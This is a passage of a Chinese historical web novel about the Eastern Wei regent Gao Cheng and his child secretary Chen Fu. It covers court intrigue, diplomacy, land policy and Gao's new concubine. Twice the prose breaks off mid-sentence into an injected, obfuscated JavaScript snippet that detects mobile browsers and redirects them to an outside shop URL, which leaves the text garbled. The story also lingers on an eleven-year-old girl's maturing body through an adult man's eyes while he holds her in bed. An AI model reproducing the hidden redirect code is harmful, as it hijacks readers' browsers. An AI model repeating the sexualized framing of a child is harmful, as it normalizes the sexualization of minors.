“陈氏女扶,阳寿未尽,横死刀下,怨气冲天……无法渡过忘川,往生无门,只得飘零阴阳界外,受苦煎熬……” 白无常那惨白的眼珠转向他,长舌蠕动,“她一口怨气不散,无法投入轮回……唯有尔这始作俑者,于阴司状上签押画供,陈明罪孽,消其怨愤……吾等方可引她上路……否则……” 烟雾翻腾,一个浑身湿漉漉的小小身影显现出来,正是那女史陈扶! 她心口插着一柄长刀,刀身完全没入,只留刀柄在外,暗红血液不断从伤口涌出,滴滴答答落在地上。她伸出青白的小手,眼中流下两行血泪,嘴唇无声开合,满是刻骨的怨毒。 袁昱双目圆睁,已是吓得魂飞魄散。 “若尔不签此状,消解其怨……”黑无常的锁链哗啦啦一响,“她便只能滞留阳间,以尔之阳寿精气为食,直至尔油尽灯枯……或是,夜夜入那渤海王世子高澄梦中,哭诉冤屈,要其索尔性命……” “我签!我签!” 他崩溃哭嚎,连滚带爬地扑到不知何时悬在面前的枯黄状纸前。 那纸上朱砂字迹淋漓,将他买凶的时间、地点、金额,乃至凶徒所用兵刃式样,都写得一清二楚! 他蘸着仿佛鲜血凝成的印泥,在那索命的“阴司陈情状”上,颤抖摁下…… 幽绿烛火倏忽熄灭,异香消散,烟雾与鬼影如同被风吹散般无踪无迹。 只余他像一滩烂泥般瘫在地上,身下一片湿凉秽物。 东柏堂内,陈扶将那‘阴司陈情状’轻放高澄面前。 高澄目光在她身上扫了一圈,她已换过衣衫,发髻重新梳起,小脸却还未褪苍白。 “瞧你小脸白的,装鬼倒把自己先吓着了?” 陈扶笑笑,“大将军若想见识真吓着的,该去四方馆看看那袁副使。” 看她无碍,高澄方拿起状纸,眉梢微挑,“你这‘鬼差’取供,倒是比廷尉那帮人还利落。” “心里有鬼,自然鬼差更好使些。” “子才,”高澄将状纸推给邢邵,“以此为证,草拟国书,发往建康。”说罢看向陈扶。 陈扶会意接话:“邢大人,此信须得把握三处关窍。其一,切割袁昱与梁国。表明我方明了此乃袁昱个人恶行,非梁主陛下属意。其二,阐明底线。对使节之尊重,基于‘不干涉内政、不触犯律法’之上。买凶杀害大魏重臣之女、世子近臣,乃是践踏我大魏法度、挑衅我大魏权威之重罪!” “其三,也是最要紧的一点,点破袁昱居心之险恶。能轻易与贼国之人勾连,行事如此肆无忌惮,其人身在南梁,心在何方?一旦因其个人之恶行引发梁魏纷争,乃至兵戈相见,又是何方得利?” “妙!如此立论,那萧衍决计不保了!”邢邵由衷赞道,看向高澄,“大将军,那便依女史所言草拟?” “便依此意。” 几日后,梁帝萧衍的亲笔信送至东柏堂。 信中,萧衍对副使袁昱“狂悖僭越、因私废公”之举表示“震怒不已”,痛斥此等行径绝非己意,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元静仪接过话头,“我知道,你面皮薄,我替你说罢。”又朝高澄笑道,“玉仪毕竟出身宗室,如今又得大将军青眼,这日常用度、身边伺候的人,总要配得上身份才是。妾身想着,若得有些像样的宅邸田产傍身,她在邺城行走才体面不是?” 高澄指尖摩挲着元玉仪的下颌,迫她抬起脸来,“她想要什么,让她自己来讲。” 元静仪在旁急急递来眼色,元玉仪咬了咬唇,怯怯开口:“若是大将军疼奴......” 疼字刚落,高澄指腹已碾上她唇瓣,“我还不够疼你?你可知那日,因何封了整条街?” “因为……大将军的女史……丢了……” “那你可知,她是怎么丢的?” 掌中人像受惊的雀儿般微微颤着,摇了摇头。 高澄低笑一声,盯着那水光潋滟的浅眸,声音又低又沉: “为了离近些看你。” 24.第24章 “为……了看奴?” 高澄摩挲着元玉仪的唇瓣,目光幽沉,“那日闹得邺城天翻地覆,你当是为何?”他声音压得极低,带着磁性的共振,撞进人心里去,“还不过是为了,离近些,好看清你。” 元玉仪睫羽急颤,脸颊飞红,这权倾朝野的男人,竟对自己一见倾心至此。 元静仪却哼笑了声,自己的傻妹子不懂,她能不懂么?这哪里只是情话,分明也是压价——这般深情待你,你张嘴前,不得掂量掂量? 她堆起更甜腻的笑,身子也往高澄那处倾了倾,“大将军这般疼惜玉仪,真是她几辈子修来的福分。既如此,更该让她风风光光的才是。” 高澄并未看她,眉梢一挑,问掌中之人,“你真想风光?” 元玉仪怯怯地点了点头。 “好呀,”高澄应得爽快,“既想要,自然给你。让宫里那小皇帝给你封个公主当当,如何?” “公……公主?”元玉仪猛地睁大眼睛,她这般经历,那两个字如同云端星辰,何敢肖想,“奴……奴怎配……” 高澄嗤笑一声,“都是姓元的,他能做皇帝,你又如何做不得公主?” 他抬眸看向元静仪,刚要开口,眼风却捕捉到地面上那道被光线拉长的小小影子。 揽在元玉仪腰侧的手臂一松,将她稍稍推离几分。 “稚驹?” 门被推开,陈扶垂目走进,向三人各自行礼,“大将军,元夫人,元娘子。” 礼毕,那双黑漆漆的眼幽幽望向他二人身下的小榻。 高澄站起身,将茫然的元玉仪也拉了起来——这方软榻是陈扶素日小憩的地方,榻角还叠放着她专用的锦被。 他们占了她的地方。 位置让出来了,陈扶却只是扫了眼被压皱的褥子,并未如往常脱下外氅放下。 高澄走到她面前,微微俯身,视线锁住她低垂的眼睫,“来多久了?” “没多久。” 他凝视着她,不放过分毫细微的表情,“听到了?” 她自然知道他在问什么。 唇角微微弯了一下,点了点头。 高澄喉结滚了滚,短暂的几息间,空气漫起一种无形的尴尬。 元静仪正要开口缓和,却见高澄已握住陈扶手腕,牵着她朝外走去。 看着那两道身影消失在门外,元静仪笑意淡了下来,转向犹自沉浸在‘公主’梦中的妹妹,压低声音问道:“就是因为她,大将军才封得城?” 元玉仪懵懂道:“我也是第一次见……但能在此处,应就是吧?” “大将军给你寻了住处后,是当夜就幸了你么?” “没有,”元玉仪回想了一下,“过了小半月才来。” “所以,是找到了她,大将军才去看你的?” 元玉仪想起那夜烛火下男人异常炽烈的攻伐,和那句“今夜好好庆祝一下”,迟疑着点了点头。 结合高澄方才那反应——见着影子便松了手,一个眼神便起身让位,再到试探后那丝慌乱,意图解释地将人带走,元静仪有了定论。 她凑近元玉仪,声音压得更低,“我的傻妹妹,你可瞧见了?大将军待这女史可不一般,怕是放在心上疼的。只怕你的对手,却不在那将军府里。” 元玉仪小声道:“不会吧,她还小……大将军也不将她作女人看……” “面庞看着是小,可瞧那身量,也得有九岁了吧?没几年就长大了,到时候呢?”元静仪冷笑一声,“便是不说那时候,小孩子原也有嫉妒心的。觉着你占了她的大将军,万一在背后挑唆几句,你只怕立时就要被厌弃。难道你还想过回从前那般无依无靠、任人作践的日子?” 这话戳中了元玉仪最深的恐惧,她脸色白了白,慌乱地抓住姐姐的手,“那……姐姐,我该当如何?” “城南的宅子太远了。”元静仪眼中精光一闪,“我瞧着这里不是有供官吏暂歇的暖阁么?你去求大将军,让你也住进来,日日在一处,耳鬓厮磨,自然能防着别人钻了空子。” “可……大将军方才都应了公主的封号……我再要求这个,会不会太贪心了?” “你真是个痴人!”元静仪恨铁不成钢地戳了下她的额角,“你真当那公主名分有多金贵?他那是借你打元氏的脸呢!告诉全天下,皇帝和一个家妓出身无二,都是他高家想立就立,想封就封的玩意儿!你当真是全为了你?” 元玉仪被这直白的话刺得脸色更白,讷讷道:“可我……我行么?” 她对争宠实不擅长,不然也不会生得如此美貌,仍被那孙腾腻烦厌弃。 元静仪端详着妹妹的脸蛋与身段,从鼻子里哼出声笑,“放心,我瞧他对你这张脸、这身皮肉,着迷得很。”她凑近,将她衣领向下一拉,“这东柏堂是他理政之地,在此处……别有情趣。男人嘛,食髓知味,自然就离不开了。” 高澄将陈扶带到廊下,远离了暖阁内甜腻的香气。 “我说为了看她,是因其姊……” “大将军,”陈扶轻声打断,抬起眼,“寒食节那日你因何松手,是人潮汹涌,抑或惊鸿一瞥,并不影响最终的结果。福兮祸之所伏,我既得了风头好处,便该有招祸之心理准备,大将军不必挂怀。” 高澄当然知道他的稚驹最是明理,绝不会将自身遭遇之危险归结于他。 他在意的,原也不是这个。 他凝视着那幽深的黑眸,轻问:“你……不会因此事,便觉得本将军……靠不住,要与我生分了吧?” 陈扶闻言,眸光微动,挑出一个清浅的笑,“大将军乃国之柱石,身系大魏安危与万民福祉。稚驹自当竭尽所能,辅弼左右,岂会因些许意外便生退避之心?” 毫无疏漏的回答,但高澄心头却莫名升起一丝烦躁。 他伸出手,想像过去无数次那样,去捏一捏她婴儿肥的小脸,陈扶却微微侧头,避开了他的触碰。 在他沉脸之前,她弯起眉眼,递上一颗‘定心丸’。 “大将军可还记得,三年前在普惠寺,稚驹与你说过的话?” 彼时方丈批命,说她能强旺于他,尚不及他腰高、手无缚鸡之力的小人儿,便仰着那玉雪小脸,用最郑重的语气对他说——“我会保护你”,他怎会忘。 心中一动,再次伸手,这次陈扶没有躲,而是捉住了他探向自己脸颊的手指,就势握住,形成了个合作式的握手之姿。 “无论如何,稚驹都会保护你的。” 高澄心下一安,那股掌控感重新回归。 “好。”他摩挲着掌中的小手,“那你先去正堂,我去与她们打个招呼便来。” 再次踏入暖阁时,元静仪已离开。 元玉仪眼波流转,含媚带怯地主动偎依上来,一手勾上他脖颈,另只手摸向那处。 高澄凤目微眯,好整以暇地欣赏着怀中人,任由那生涩指尖无措游移。片刻,才低笑一声,手臂骤然发力,揽住那不堪一握的腰肢,将人打横抱起。 “这里不行。”他声音里浸染了情动的沙哑,眼神却掠过她肩头,扫向那张仍留褶皱的小榻,对外道,“刘桃枝,将暖阁里这张榻,并其上所有茵褥陈设,全部撤换新的。” 交代完毕,他抱着怀中温香,走向后院用于大臣过夜的厢房。 她罕见地主动,他眼底暗沉之色更浓,兴致愈高,自然少不得比往日更恣意几分。 两番云雨,餍足后的高澄慵懒地倚在榻上,元玉仪伏在他胸前,气息未匀,趁着这温存余韵,怯生生地提出请求,想住进东柏堂,日日相伴。 高澄把玩着她一缕青丝,脑海中浮现的,是白日里与那群老狐狸周旋时的算计,案牍上一笔牵扯无数人的沉重。而方才的放纵,无需言语机心,只需沉溺于最原始的快感,确能让他紧绷的神思得以松弛。 他垂眸,看着怀中妙体,指尖掠过榻边矮柜,摸过一长条白玉。将其置于她掌心,握着她的手向下,蛊惑引导,“既想留下,便让我看看……你的诚意。” 陈扶在正堂静坐了片刻,手边一盏热茶渐渐温凉,却始终不见高澄的身影。 这就是‘打个招呼便来’? 她起身走到门外,撞见了正搬褥子的刘桃枝。 “大将军还在暖阁?” “女史,大将军……已去后院了。” 陈扶静默一瞬,对刘桃枝道:“既如此,只怕大将军今日也无心政务了。劳烦转告,稚驹便先回府,再陪阿母半日,明日再来上职。” 翌日清晨,东柏堂前庭,高澄刚下朝会,一身紫袍尚未换下,正与崔季舒并肩而进。 崔季舒略后半步,笑着开口:“听世子今日在朝堂之上,奏请陛下册封那位元氏女子为琅琊公主,臣跟来叨扰,盼能一睹公主之风采呢。” “今日怕不止你要叨扰,此事一出,崔暹必来进谏。” 话音未落,仿佛应和他的预言,身后便传来御史中尉崔暹之声。 “大将军!” 高澄眸光一闪,轻松笑意瞬间收敛,沉冷下脸。他当作没听到,径直步入正堂廊下,待崔暹跟来行礼,也只是淡淡一瞥,更不主动开口,摆明了不想给他开口劝谏的机会。 崔暹将这一切看在眼里,上前一步,宽大袍袖似是不经意地一拂,名刺便从袖中滑落,“啪”的一声轻响,掉在高澄面前的青砖地上。 “崔中尉,这是何意?” 崔暹躬身拾起名刺,双手奉上,一本正经道:“回大将军,臣特来拜谒琅琊公主。” 这一下,连旁边侍立的崔季舒都忍不住别过脸去,肩膀微抖。高澄先是愕然,随即失笑,那点强装出来的冷硬瞬间破功,指着崔暹笑道:“好你个崔季伦,算你识相!” 气氛顿时缓和下来,他带着二人去往后院,见过元玉仪后,方一同转往东柏堂正堂。 陈扶已在其中,正开砚磨墨。 高澄坐下,随手拿起案上正放的一卷宗,一边展开,一边问道:“度支尚书送来的奏报?” 陈扶放下墨锭,“回大将军,非是奏报,是稚驹根据此番被劫途中所见,整理的民生纪要。” 高澄有些意外地看了她一眼,才重新落回。 一旁的崔季舒也凑近去看,越看越感佩,忍不住对崔暹道:“陈女史这纪要,不输你手下那些专职风闻奏事的御史!” 高澄反复看了几遍,越看眉头蹙得越紧,抬起眼,目光沉沉。 “你亲眼所见?” “是,皆稚驹亲眼所见,均田制在河南道已然名存实亡。国家分予百姓的,六十亩露田用以种粮,身故需归还;二十亩桑田,因所植桑树需五年方达高产,十余年盛产,故而不必归还。” “问题便出在这永业桑田之上。豪强地主,千方百计兼并、购买这些桑田。农民一旦失去这立身之本,便只能沦为租种他人土地的佃户。佃户所得微薄,缴纳国家赋税后,已无余财打点劳役。而一旦被征发,动辄数月,必然耽误农时。如此恶性循环,百姓便只能日渐贫困,终至……” 眼前又闪过阿禾舔舐碗底的模样,她的喉咙像是被什么东西哽住,声音难以抑制地微颤,“……终至民生凋敝,饿殍虽未见于道旁,然……那些腹大如鼓、浑身浮肿的孩子,只怕……只怕也熬不过这个冬天了……” 说罢她紧紧抿住了唇。 崔暹闻言,长长叹息一声,“长太息以掩涕兮,哀民生之多艰……” 高澄下颌线绷得紧紧的,沉声道:“派去李府的亲卫回报,说你将现钱首饰都换了粮粟粗布,派人去外县赈济,原是此故……” 陈扶摇头道:“赈济救得了今冬,救不了明岁,兼并不止,纵有赈济,亦如漏卮。” 话锋随即一转,“然,稚驹亦知,如今四方未定,河北、河南诸多高门,坞堡林立,部曲众多。朝廷尚需其力,只能优容,不可妄动。此非大将军不为,实乃时势未至。” 她向前微倾身子,语带安抚,“在其位者,方谋其政。大将军如今革弊图新,惩贪肃纪,已竭尽所能。土地、税制之根本改革,需待天时、地利、人和。待到大将军……”意味深长的停顿,目光与那深邃凤眸一碰,“在其位了,再威加海内,犁庭扫穴,亦不为迟。” 高澄心底那丝因无力感而升起的阴霾,被这番洞明世事又饱含支持的话语悄然驱散。 他伸出手,握住她放在案边的小手,看向崔暹,“我意在沧、瀛、幽、青四州之境,傍海置盐官,广募民力,官督煮盐。所得盐利,尽归国库。如此,军国之资,得以周瞻。待仓廪充实,纵有水旱凶饥,官府亦有财力年年开仓赈济。” 这是不直接触动豪强利益的前提下,扩充国家财力,以‘富国’来间接‘济民’的良策。 崔暹崔季舒皆道“大善”。 崔暹见高澄将民生疾苦听入心中,自觉时机正好,便趁势再进一言,“大将军,臣观朝野上下,奢靡之风渐起,如今民生多艰,广开盐利之余,节流之举亦不可废。”他扫过陈设精雅的东柏堂,声音沉了沉,“大将军车服仪仗,未免过度;广纳美色,充盈后/庭,此亦耗费不赀。若大将军能以身作则,厉行节俭,远屏声色,方可上行下效,使浮靡之风渐止,府库之财得用于刀刃之上。” 高澄挑眉看向他,似笑非笑道:“好啊崔季伦,你倒会找时候。”转向崔季舒,“听到了?往后,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623608|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必在此处费心了。”唇角勾起戏谑弧度,慢悠悠补了一句,“反正,你寻来的那些,尚不及我自己偶遇的绝异。” 他话音刚落,陈扶声音便适时响起,“崔中尉所言‘效法’,稚驹深以为然。既要效法,不若提拔一下那长社县令。” 崔暹眉头皱起,语气刚直:“长社县令?此等盘剥百姓、欺上瞒下之徒,依律当斩,以儆效尤!岂能反而提拔?” 陈扶对他的反应不意外,温言引导道:“他过往行径,确该严惩。然稚驹已以大将军女史身份当众严词训诫。彼时他股栗不止,连连告罪,并承诺减轻赋役,筹措钱粮抚恤贫户,可谓‘洗心革面’之姿态。”略一顿,抛出关键一问,“若朝廷非但不提拔,反降下惩罚,周遭郡县官员闻之,会作何想?” 不等崔暹回答,崔季舒已接口笑道:“必会战战兢兢,捂紧盖子,谁还敢暴露问题?反之,若提拔了他,那便是昭告天下,体恤民情便有青云直上的机会!他们便是装,也会为前程装出个爱民如子的模样来!此乃阳谋!” “最重要的是,若不如此,河南道,便真要成他侯景一人之天下了。”陈扶秀眉一挑,“地方官员,无论忠奸贤愚,必须明白,他们的前程,最终握于邺城朝廷,握于大将军之手!” 高澄视线落在崔暹身上,带着几分调侃,十足得意,“季伦啊季伦,论刚正不阿,你无人能及。可若论识透人心、驱策人情的玲珑心窍,你不如我家稚驹远矣。” 崔暹拱手一礼,坦荡叹服:“大将军所言极是。暹……惭愧,惭愧!” 一日议政,暂歇已是黄昏,窗外不知何时下起了雨。濛濛沥沥,敲打着檐瓦,不多时便转为滂沱倾泻,雨水如幕,在庭院中溅起一片白茫茫水汽。 “雨太大了,用了晚膳再回去。” 高澄语气寻常,目光却在她脸上不着痕迹掠过。玉仪既已住进,这晚膳自然设在后边,顺便试一试,他这小女史对玉仪搬进东柏堂,究竟是何态度。 揽着人步入后院厢房,甫一进门,却见元玉仪正倚在软枕上,云鬓微松,领口也松垮地敞着,露出一段雪白脖颈,她显然以为,下职后来此的只会是高澄,脸上掠起慌乱,手忙脚乱坐起来。 高澄走上前,指尖在她微敞的领口处轻轻一勾,“稚驹也就罢了,万一是苍头奴进来送信呢?”凤目微挑,扫过门外廊下隐约可见的佩甲亲卫身影,“我这东柏堂里,人多眼杂,既要做我的女人,岂能让人白看了去?” 元玉仪脸颊绯红,呐呐称是,愈发拘谨起来。 晚膳很快布上,三人并案而坐。 元玉仪心中忐忑,偷眼去瞧对面的陈扶,越想越是不安,忍不住怯怯开口,声音细弱得几乎要被雨声盖过:“陈女史……我、我住进来,并无他意,绝不是想……与女史争宠……” 陈扶正执箸夹起一片清笋,动作一停,纠正道:“稚驹是女史,公主是大将军的姬妾,我们之间用‘争宠’这个词,不妥。” 高澄执杯的手也停在了唇边,目光幽深地落在陈扶脸上。 对方语气平和,元玉仪却更加不安,连忙改口:“是、是玉仪失言了……我的意思是,绝非有意相妨……” “我在前堂辅弼,公主在后院侍奉,谈何‘相妨’?”陈扶唇角微扬,朝前堂方向一瞥,“若要说‘妨碍’,那位自我来后,办公之位便被挪至外间的秘书丞,他若有此一言,倒在情理之中。” 元玉仪听她区分‘前后’,更觉她是鄙夷自己只能倚仗色相,她性子本就软弱,霎时眼圈微红,顺着这思路自贬起来:“女史说的是……玉仪不比女史才识过人,能为大将军臂助,只能……只能以身侍奉……” “公主言重,我不过是研墨的奴婢罢了。公主全合大将军心意,才是天赐之福,大将军既已为你奏请公主之尊,何故自轻?” 高澄眉头不自觉一蹙,一种模糊的不适掠过心头,又见元玉仪年纪更长,却反要陈扶来安抚,更添烦躁,便冷道:“既要了来,便该有相应之仪度。” 元玉仪以为他是在怪自己行为轻浮,连忙惶急保证:“玉仪知错了,日后定当恪守本分,绝不敢……久缠大将军左右,令大将军误了军国正务,断不会做那……那狐媚惑主之流。” 陈扶闻言,不由莞尔,“公主过虑了。无情未必真豪杰,唯大英雄能本色。古来雄主,何曾因闺阁之趣便失了乾坤之志?”转眸对上高澄目光,“大将军纵使再疼惜公主,也不会误了军国政务。” 凤目眯起,对她勾勾唇,“知我者,稚驹也。” 他忽然觉得,之前的担心简直多余,只有水平相当的人才会相争,而这二人之说话水平,云泥之别,根本生不起争斗。 这原是他乐于见到的局面,然而,看她全不在意,不知为何,心底非但没有预期之轻松,反而泛起一丝难以名状的……烦闷。 那感觉极淡,却像窗外冰凉的秋雨气息,无声无息地渗透进来,萦绕不去。 雨歇风停,陈扶辞过二人,出东柏堂,坐上自家那辆青幔牛车。 甘露终究是意难平,在旁道:“女郎为了给大将军化解恶煞,日日苦练剑术,心心念念要救他性命。遭此一劫,说到底,不也是为了在外使面前给他挣颜面?他倒好……见着美人,便将女郎抛于脑后。六岁便跟着他,三年情分,竟不如一张面皮。” “我救他,是因为我需要他活着,至于他待我有无情分,”陈扶唇角牵起一丝冷淡弧度,“不重要。” 甘露怔了怔,又问:“那……那他那般宠那元氏……” 陈扶打断她,“只要她不碍我的事,高澄待她如何,与我何干?” 说罢,她伸手掀开了车帘。 雨后红杏如火,梨花似雪,掩映在霜枫苍松之中。 甘露也探头望去,“这场雨过后,秋意更浓了。” “嗯。既已秋深,春日便不远了。” 东风和煦,杨柳依依,道旁桃夭杏艳,融融春色里,一辆青幔牛车停在东柏堂前。 陈扶步履轻捷地步入东柏堂正堂,如常将案上的典籍、舆图与各类文书,分门别类归位。 前来预备大将军下朝膳食的膳奴,看着她将奏疏一份份展开,扫过朱批和签押,走向靠墙的那排高大架阁,放入指定格层。 她的脸庞尚还圆润,身姿却宛如抽条新竹,有了少女初成的窈窕轮廓。 不由笑着感慨:“时光真快,女史刚来那会儿,个子小小的,够不着上面,还是大将军特意吩咐给做了个小胡床呢,现下那小胡床也用不上了。” 陈扶将一卷盐政文书,归入‘度支-盐务’类目下,从架间回过头来。 “都十一岁了,自然不用了。” 25.第25章 高澄斜倚在坐榻上,虽是春日,天气尚带几分凉意,他却似有些燥热,身上只着一件轻薄玄色宽衫,领口已被不耐地扯松了,露着一段锁骨。 堂前的崔季舒已禀报完孝静帝近日动静,早已候在一侧的高浚,近前汇报邺城各门戍卫与往来人流的稽查情况。 高澄听得专注,唇角噙着笑,“你小子以前脑瓜子总不往正处使,我还当你成不了气候。” “阿兄没有放弃阿浚,阿浚自然要对得起阿兄。” “那我得赏你啊,晚上把你二兄四弟叫上,都来松快松快。” 高浚应下,却并未退去,他看着高澄,眉头微蹙,“阿兄,你脸色似不大好,可是近来太过劳累?” 一旁的崔季舒精于医道,闻言也细端详起高澄来,又上前一步,恭声道:“大将军,容臣请个脉。” 高澄伸出手。 搭指片刻,崔季舒神色微凝,“大将军近来可常有厌热、畏风之感?”看他点头,沉下声来,“此非寻常春燥,乃是服散之症候。寒食散初服是可心加开朗,体力转强,可若为房中之乐贪饵……” 高澄咳嗽一声,眼风已扫向架旁那抹身影。 不过数月光景,她身量竟又拔高一截。 去年还空荡荡的襦裙,此刻勾勒出渐显的腰身,似枝头将开未开的花苞,青涩底子里,已透出芳姿。 高澄心头无端一紧,视线收回,将微敞的领口拢了拢。 那厢陈扶正归拢文书,闻崔季舒之言,缓缓转过脸来。 “崔常侍精于医道,想必知晓,服散若现‘厌热畏风,策策恶寒’之状,乃是药毒已侵肌表,卫气不和吧?” 崔季舒正忧此事,立时答道:“女史所言极是。” “那若兼有心痛如刺,厌厌欲寐呢?” “大将军还有此症候?”崔季舒脸色更凝重几分,“此乃药毒深入之兆啊。当立止服用,全力散发。” 陈扶接口:“否则,便会舌缩入喉,痈疮陷背;更甚者,百节酸疼,目光欲散,视瞻无准。至此,病已沉重,晋司空裴秀即以此殒命。寒食散此物,实乃大猛之毒。” 最后一句,是盯着高澄说出的。 高澄看她侃侃而谈的小医师模样,不由笑道,“稚驹什么都懂?” 她比他多了千年见识,看过孙思邈的《千金方》,自然懂。口中却只道:“家中有个婢子,甚通医道。” 高浚闻二人之言,少不得缠住他阿兄劝了老半天。 高澄不耐道:“好了,知道了,近日便节制些。” 自元玉仪来后,高澄膳后便改去后院了,说是午憩,少不得要弄上一回,今日被高浚一劝,便未回后院,反踱步到了许久未来的暖阁。 待到要躺下时,他才恍然发觉,陈扶平日用的那张榻,对她如今身量而言,已显得过于局促了。 “都睡不下了,怎也不曾说?” 陈扶正将窗棂推开一丝缝隙透气,闻言回头道,“不过午间凑合片刻,怎劳大将军挂心。” “睡起就令刘桃枝去换。” 合衣一躺,拍了拍身侧空位。 陈扶因有话要与他说,只略一迟疑,便走了过去,在他旁边规规矩矩躺下。 高澄侧卧着,目光落在近在咫尺的侧脸上,轮廓尚未褪去圆润,鼻梁却已秀挺。 一股混合了墨香与皂角的清冽气息,丝丝缕缕萦绕在他鼻端。 经年累月的习惯,他手臂一动,便想像她儿时那般,将人圈进怀里拢着。可臂弯将合未合之际,一种迥异的、带着柔韧的触觉,让他蓦地清醒。 怀中之人,早已不是那个小小一团的孩子了。 她在他的身边,悄无声息地长大了。 像一颗石子投入静湖,心底漾开一圈陌生涟漪,混杂着说不清道不明的怅惘,与一丝被春阳晒得有些躁动的心绪。 他垂眸凝视着她神色,不见推拒之意,手臂终是落下,隔着春衫,虚虚一搭。 “大将军不是厌热么?” 腰侧的手倏地收了回去,羽扇般的睫毛盖下,“睡。” 陈扶却侧身面向他,轻声道:“大将军,我睡不着。” 高澄闻声,又缓缓掀开眼帘,圆瞳黑睛静静望定他,映着窗外透进的微光,也映着他。 “那陪你聊会儿。” 陈扶静默一息,方徐徐开口:“稚驹近日读史,见一旧事。昔东晋大臣周访与陶侃外出,遇一善相者。相师言:二君以后皆可做官,然高低略有不同。二人问因何不同?那相师说:陶得上寿,周得下寿,因年岁而定高低。” 高澄凤目微眯,“小东西,你究竟想说什么?” 陈扶也学他眯起眼睛,“此理放之古今皆然。譬如刘裕,若多十年阳寿,或可消化关中,甚至一统中原;又如王猛,若能再活十载,必能助苻坚稳固江山,何来淝水之恨?” 高澄嗤笑一声,已然明了她弦外之音,“不是说了,近日不服了。” 她要的,岂是他一时不服? 她眸光一转,挪近了些,“想那司马师,承父之基业,平定淮南,威加海内。然病逝于许昌,呕心沥血,却由其弟受禅登基。” “此真可谓,替他人作嫁衣之千古憾事也。” 高澄脸上戏谑渐敛,同是承继父志,同是锐意进取,同样年纪轻轻便掌权柄,这例子,选的太准。 “大将军今日所处之位,正是司马师威震庙堂之气象。然,大厦非一日可建,大业非旦夕能就。望大将军能惜己身,戒虎狼之药,待到他日龙飞九五,方不负此身雄才。” 话音甫落,一室寂静,唯闻彼此呼吸交错。 高澄眸底墨色翻涌,似有千军万马奔腾,又似雪落寒江。他未回此言,只两臂一揽一收,将那带着墨香清气的轻软身子,严丝合缝紧拥入怀。 陈扶被这突如其来的力道箍得微微一怔,下意识便想挣开。 然肩背方一动弹,环住她的手臂竟又收紧了三分,思及此番本为他听进劝诫,若执意推开,夺了他注意,反倒不美。 权衡之下,刚刚凝起的一点力道便悄然松懈下来,任由自己陷落在他冷冽气息里。 察觉到她的顺从,高澄低下头,唇印上她光洁的额角。 “好孩子……”气息拂过她额发,低低震着。 后院暖阁内,元玉仪独自对着食案,银箸拿起又放下。 眼见晷影渐长,早已过了大将军午憩时辰,门外依旧声息寂然。坐卧不宁之下,终是起身,对镜重整发髻,理平裙裾,往前院行去。 行至暖阁外,见那朱漆门扉并未严合,她屏息敛足,朝那缝隙望进。 竹帘半卷,午后昏暗,宽大的主榻上,大将军侧卧于里,一手环覆膀弯,一手抚其脑后,将那陈女史密不透风笼在自己气息之内。 元玉仪心头猛地一刺,想起昨夜,不过事毕片刻,他便嫌燥热,道是贴着难眠,将她推开各自安睡。 可眼下……眼下才是一天里最闷热之时…… 华烛初上,东柏堂宴客厅内,高浚、高洋、高淹皆至,高洋身侧跟着吏部郎中杨愔,其人如高洋一般深沉。 宴开不久,高洋自袖中取出一锦匣,打开奉于高澄案前,“前日偶得两件小玩意儿,想着阿兄或有用处。” 匣中是一对赤金嵌宝步摇,做工精巧,光华璀璨。 高澄唇角勾起玩味弧度。 他认得此物,正是前日他命人从弟妇李祖娥处索要未果的那对。 拈起一支,反手插在身侧元玉仪松松绾就的堕马髻上,金步摇垂下的流苏轻晃,映得她绝异容颜愈发秾丽。 “甚美。”高澄语气慵懒,目光掠过元玉仪,似有若无地扫向高洋。 心中那股微妙的、纠缠多年的意气又隐隐浮动:他这个弟弟,容貌才干皆逊于他,偏偏娶了李祖娥那般倾国之色。元仲华虽也端庄,终究少了那份夺目的艳光。 他的女人,怎能被比下去?元玉仪,才是他的女人该有之容色。 然而,这念头刚如星火一闪,他便瞥见元玉仪受宠若惊的模样,心头忽又掠过一丝索然——虽是绝色,却是从市井拾回,那日她若遇的是高洋,是否也会一样跟随? 指尖在另一支步摇上顿了顿,转而递向另一侧的陈扶,“稚驹,这个予你。” 陈扶正执壶为他斟酒,闻言抬眼,目光在那步摇上一掠,弯唇笑了笑,“大将军厚爱,稚驹心领。只是稚驹寡面淡颜,衬不起这等华艳饰物。既是太原公觅得,想来最堪配太原公夫人吧?” 高澄哼笑一声,将步摇掷回匣中,还给了高洋。 同案而食,陈扶见他怏怏不乐,不时瞥向高洋处,便凑近些,指向侍立檐下的两名亲卫,用分享趣闻的语调道:“大将军瞧那对兄弟,别看二人如今手足情深,当初在李府护卫稚驹时,可曾闹过好大一场别扭呢。” “噢?”高澄果然被引了兴致,“所为何事?” “那时正值二人娶亲,娶的是同一家的姐妹。第二日一看,那妹妹容貌更胜一筹,做阿兄的便不忿了,自己明明俸禄更高,武艺也更强些,怎么娶回来的娘子,反不如弟弟的好看?” 高澄闻言不由失笑,虽已听出她话里机锋,却仍想听听后文。 “那你是如何排解他的?” “我给那兄长讲了诸葛武侯与夫人黄月英的故事。盲婚哑嫁,得何等娘子,原与自身之强弱无甚干系。”笑看他已松快不少的脸,“真正的强者,胸纳四海,功昭日月,何须枕边人之颜色,来证自身之英伟?” 高澄朗声大笑,心中那点因比较而生的郁气,被她这番旁敲侧击的开解涤荡一空。 酒过三巡,气氛热络。 高浚起哄要看陈扶舞剑,高澄也兴致颇高,唤来亲卫队主阿古,命他去寻一柄未开刃的剑来。 